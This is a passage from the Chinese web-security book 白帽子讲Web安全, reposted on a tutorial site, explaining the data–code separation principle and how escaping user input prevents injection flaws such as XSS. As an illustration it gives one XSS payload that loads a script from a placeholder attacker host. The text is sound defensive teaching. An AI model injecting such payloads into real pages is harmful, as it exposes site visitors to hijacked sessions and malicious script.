频道栏目
读书频道 > 安全 > 白帽子讲Web安全
1.7.3 数据与代码分离原则
2012-08-17 21:45:49     我来说两句
收藏   我要投稿

本文所属图书 > 白帽子讲Web安全

在互联网时代,数据安全与个人隐私受到了前所未有的挑战,各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据?本书将带你走进Web安全的世界,让你了解Web安全的方方面面。黑客不再变得神秘,攻击技术原...  立即去当当网订购
另一个重要的安全原则是数据与代码分离原则。这一原则广泛适用于各种由于"注入"而引发安全问题的场景。
 
实际上,缓冲区溢出,也可以认为是程序违背了这一原则的后果--程序在栈或者堆中,将用户数据当做代码执行,混淆了代码与数据的边界,从而导致安全问题的发生。
 
在Web安全中,由"注入"引起的问题比比皆是,如XSS、SQL Injection、CRLF Injection、X-Path Injection等。此类问题均可以根据"数据与代码分离原则"设计出真正安全的解决方案,因为这个原则抓住了漏洞形成的本质原因。
 
以XSS为例,它产生的原因是HTML Injection 或JavaScript Injection,如果一个页面的代码如下:
 
<html>
<head>test</head>
<body>
$var 
</body>
</html>
其中$var 是用户能够控制的变量,那么对于这段代码来说:
 
<html>
<head>test</head>
<body>
 
</body>
</html>
就是程序的代码执行段。
 

 
$var
就是程序的用户数据片段。
 
如果把用户数据片段$var 当成代码片段来解释、执行,就会引发安全问题。
 
比如,当$var的值是:
 
<script  src=http://evil></script> 
时,用户数据就被注入到代码片段中。解析这段脚本并执行的过程,是由浏览器来完成的--浏览器将用户数据里的<script>标签当做代码来解释--这显然不是程序开发者的本意。
 
根据数据与代码分离原则,在这里应该对用户数据片段$var 进行安全处理,可以使用过滤、编码等手段,把可能造成代码混淆的用户数据清理掉,具体到这个案例中,就是针对<、> 等符号做处理。
 
有的朋友可能会问了:我这里就是要执行一个<script>标签,要弹出一段文字,比如:"你好!",那怎么办呢?
 
在这种情况下,数据与代码的情况就发生了变化,根据数据与代码分离原则,我们就应该重写代码片段:
 
<html>
<head>test</head>
<body>
<script>
alert("$var1"); 
</script>
</body>
</html>
在这种情况下,<script>标签也变成了代码片段的一部分,用户数据只有$var1 能够控制,从而杜绝了安全问题的发生
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力  
上一篇:1.7.2 纵深防御原则
下一篇:1.7.4 不可预测性原则
相关文章
图文推荐
排行
热门
最新书评
特别推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站